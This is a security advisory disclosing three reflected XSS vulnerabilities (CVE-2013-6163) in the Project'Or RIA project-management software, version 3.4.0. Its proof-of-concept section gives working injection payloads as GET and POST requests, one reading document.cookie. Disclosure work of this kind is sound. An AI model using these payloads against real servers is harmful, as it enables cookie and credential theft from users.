2013-018: Multiple XSS vulnerabilities in "Project'Or RIA"

Original release date: July 26th, 2013
Last revised: July 26th, 2013
Discovered by: Vicente Aguilera Diaz
Severity: 4.3/10 (CVSSv2 Base Scored)
CVE-ID: CVE-2013-6163

BACKGROUND

Project'Or RIA is an open source Project Management Software, trying to gather in a single tool every functionality needed to organize your projects.

The objective is to keep it simple, easy to use on a day to day activity, while covering most of the project management functionalities.

DESCRIPTION

Has been detected multiple XSS vulnerability.

The affected resources and parameters are the following:

    Resource 1:
    /view/parameter.php

    Parameter:
    type

    Resource 2:
    /view/main.php

    Parameter:
    p1value

    Resource 3:
    /view/objectDetail.php

    Parameter:
    objectClass


These vulnerabilities allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser.

PROOF OF CONCEPT 

A malicious user can inject arbitrary HTML/script code in the affected parameters.

                   Example 1 (GET Request):
                   http://<projectorria-server>/view/parameter.php?type="><H1><marquee>This+is+an+XSS+example<!--

                    Example 2 (GET Request):
                    http://<projectorria-server>/view/main.php?directAccessPage=parameter.php&menuActualStatus=visible&p1name=test&p1value=");alert(document.cookie);

                    Example 3 (POST Request):
                    POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
                    Host: <projectorria-server>
                    objectClass=Affectation<H1><marquee>This+is+an+XSS+example<!--&objectId=42&listIdFilter=&listFilterClause=

BUSINESS IMPACT

An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc.

SYSTEMS AFFECTED

Tested in Project'Or RIA v3.4.0

SOLUTION

Install new version.

REVISION HISTORY

July 26, 2013: Initial release

DISCLOSURE TIMELINE

  • July 25, 2013: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com).
  • September 26, 2013: Sent to project support.
  • November 03, 2013: New release and disclosure.

REFERENCES

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.